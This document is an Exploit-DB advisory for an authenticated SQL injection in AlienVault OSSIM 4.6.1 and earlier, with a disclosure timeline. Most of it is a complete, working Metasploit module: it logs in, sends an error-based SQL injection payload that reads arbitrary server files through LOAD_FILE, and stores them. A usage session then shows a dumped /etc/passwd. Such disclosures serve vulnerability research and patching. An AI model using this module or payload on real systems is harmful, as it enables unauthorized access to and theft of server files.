Alienvault Open Source SIEM (OSSIM) 4.6.1 - (Authenticated) SQL Injection (Metasploit)

EDB-ID:

33317




Platform:

PHP

Date:

2014-05-12


Exploit Title: AlienVault newpolicyform.php SQLi
Date: 5/9/2014
Exploit Author: chrisdhebert[at]gmail.com
Vendor Homepage: http://www.alienvault.com/
Software Link: http://www.alienvault.com/free-downloads-services
Version: 4.6.1 and below
Tested on: Linux
CVE : n/a
Vendor Security Advisory : AV-11394 http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower

Timeline:
--------
4/14/2014 (Vulnerablity Discovered)
4/17/2014 (Vendor Informed with receipt)
5/5/2014 (Vendor Patch Released v4.7.0)
5/9/2014 (Public Release)

Vendor Discription:
------------------
OSSIM is the most widely used SIEM offering, thanks in no small part to the open source
community that has promoted its use. OSSIM provides all of the capabilities that a security
professional needs from a SIEM offering, event collection, normalization, correlation and
incident response - but it also does far more. Not simply satisfied with integrating data
from existing security tools, OSSIM is built on the Unified Security Management platform
which provides a common framework for the deployment, configuration, and management of your
security tools.

Vulnerability Details:
---------------------
The vulnerability can be classified as "SQL Injection" from authenticated users. No input validation is performed when processing parameters on the following request:
GET /ossim/policy/newpolicyform.php?insertafter='SQLi HTTP/1.1

Although this POC demonstrates READ access to files readable by u=mysql g=root o=all (such as /etc/passwd).  It should be noted that, an attacker should be able to WRITE to a new file with sufficient permissions such as /tmp/newfile.   After a quick search, exploiting this may be midigated by the current file permissions of /usr/share/*ossim/www/* and other vhosts handled by apache.  For those with more time, other writeable locations could be leveraged with this vulnerablity.


Metasploit Module:
-----------------
##
## This module requires Metasploit: http//metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "AlienVault Authenticated SQL Injection Arbitrary File Read",
      'Description'    => %q{
        AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against
        newpolicyform.php using the 'insertinto' parameter.  This module exploits the
        lack of input filtering to read an arbitrary file from the file system.
        Any authenticated user is able to exploit this, as administrator
        privileges are not required.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris Hebert <chrisdhebert[at]gmail.com>'
        ],
      'References'     =>
        [
          ['EDB', '#####TBD####']
        ],
      'DefaultOptions'  =>
        {
          'SSL' => true
        },
      'Platform'       => ['linux'],
      'Privileged'     => false,
      'DisclosureDate' => "May 9 2014"))

      register_options(
      [
        Opt::RPORT(443),
        OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),
        OptString.new('USERNAME', [ true, 'Single username' ]),
        OptString.new('PASSWORD', [ true, 'Single password' ]),
        OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ])
      ], self.class)

  end

  def run

    print_status("#{peer} - Get a valid session cookie...")
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')
    })

    unless res and res.code == 200
      print_error("#{peer} - Server did not respond in an expected way")
      return
    end

    cookie = res.get_cookies

    if cookie.blank?
      print_error("#{peer} - Could not retrieve a cookie")
      return
    end

    post = {
      'embed' => '',
      'bookmark_string' => '',
      'user' => datastore['USERNAME'],
      'passu' => datastore['PASSWORD'],
      'pass' => Rex::Text.encode_base64(datastore['PASSWORD'])
    }

    print_status("#{peer} - Login...")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'),
      'method' => 'POST',
      'vars_post' => post,
      'cookie' => cookie
    })

    unless res and res.code == 302
      print_error("#{peer} - Server did not respond in an expected way")
      return
    end

    unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')
      print_error("#{peer} - Authentication failed")
      return
    end

    cookie = res.get_cookies

    if cookie.blank?
      print_error("#{peer} - Could not retrieve the authenticated cookie")
      return
    end

    i = 0
    full = ''
    filename = datastore['FILEPATH'].unpack("H*")[0]
    i = 0
    full = ''
    filename = datastore['FILEPATH'].unpack("H*")[0]
    left_marker = Rex::Text.rand_text_alpha(6)
    right_marker = Rex::Text.rand_text_alpha(6)

    print_status("#{peer} - Exploiting SQLi...")

    loop do
      file = sqli(left_marker, right_marker, i, cookie, filename)
      return if file.nil?
      break if file.empty?

      str = [file].pack("H*")
      full << str
      vprint_status(str)

      i = i+1
    end

    path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])
    print_good("File stored at path: " + path)
  end

  def sqli(left_marker, right_marker, i, cookie, filename)
    pay =  "X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"
    pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"
    pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"
    pay << " GROUP BY x)a) AND ('xnDa'='xnDa"

    get = {
      'insertafter' => pay,
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ossim', 'policy', 'newpolicyform.php'),
      'cookie' => cookie,
      'vars_get' => get
    })

    if res and res.body and res.body =~ /#{left_marker}(.*)#{right_marker}/
      return $1
    else
      print_error("Server did not respond in an expected way")
      return nil
    end
  end

end



Metasploit Module Use Example:
-----------------------------
msf > use auxiliary/gather/alienvault_newpolicyform_sqli
msf auxiliary(alienvault_newpolicyform_sqli) > show options

Module options (auxiliary/gather/alienvault_newpolicyform_sqli):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILEPATH   /etc/passwd      yes       Path to remote file
   PASSWORD   putpasswordhere  yes       Single password
   Proxies                     no        Use a proxy chain
   RHOST      192.168.1.1      yes       The target address
   RPORT      443              yes       The target port
   TARGETURI  /                yes       Relative URI of installation
   USERNAME   admin            yes       Single username
   VHOST                       no        HTTP server virtual host

msf auxiliary(alienvault_newpolicyform_sqli) > run

[*] 192.168.1.1:443 - Get a valid session cookie...
[*] 192.168.1.1:443 - Login...
[*] 192.168.1.1:443 - Exploiting SQLi...
[+] File stored at path: /home/username/.msf4/loot/20140416053929_default_192.168.1.1_alienvault.file_945139.txt
[*] Auxiliary module execution completed
msf auxiliary(alienvault_newpolicyform_sqli) > cat /home/user/.msf4/loot/20140416053929_default_192.168.1.1_alienvault.file_945139.txt
[*] exec: cat /home/username/.msf4/loot/20140416053929_default_192.168.1.1_alienvault.file_945139.txt

root:x:0:0:root:/root:/usr/bin/llshell
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
munin:x:102:104::/var/lib/munin:/bin/false
postfix:x:103:106::/var/spool/postfix:/bin/false
snmp:x:104:108::/var/lib/snmp:/bin/false
hacluster:x:105:109:Heartbeat System Account,,,:/usr/lib/heartbeat:/bin/false
avserver:x:106:111:AlienVault SIEM,,,:/home/avserver:/bin/false
avapi:x:107:111:AlienVault SIEM,,,:/home/avapi:/bin/bash
avidm:x:108:111:AlienVault IDM,,,:/home/avidm:/bin/false
ossec:x:1000:1000::/var/ossec/:/bin/false
ossecm:x:1001:1000::/var/ossec/:/bin/false
ossecr:x:1002:1000::/var/ossec/:/bin/false
ntop:x:109:112::/var/lib/ntop:/bin/false
avagent:x:110:111:AlienVault Agent,,,:/home/avagent:/bin/false
snort:x:111:113:Snort IDS:/var/log/snort:/bin/false
prads:x:112:114::/home/prads:/bin/false
nagios:x:113:115::/var/lib/nagios:/bin/false
stunnel4:x:114:116::/var/run/stunnel4:/bin/false
rabbitmq:x:115:117:RabbitMQ messaging server,,,:/var/lib/rabbitmq:/bin/false
mysql:x:116:118:MySQL Server,,,:/var/lib/mysql:/bin/false

msf auxiliary(alienvault_newpolicyform_sqli) >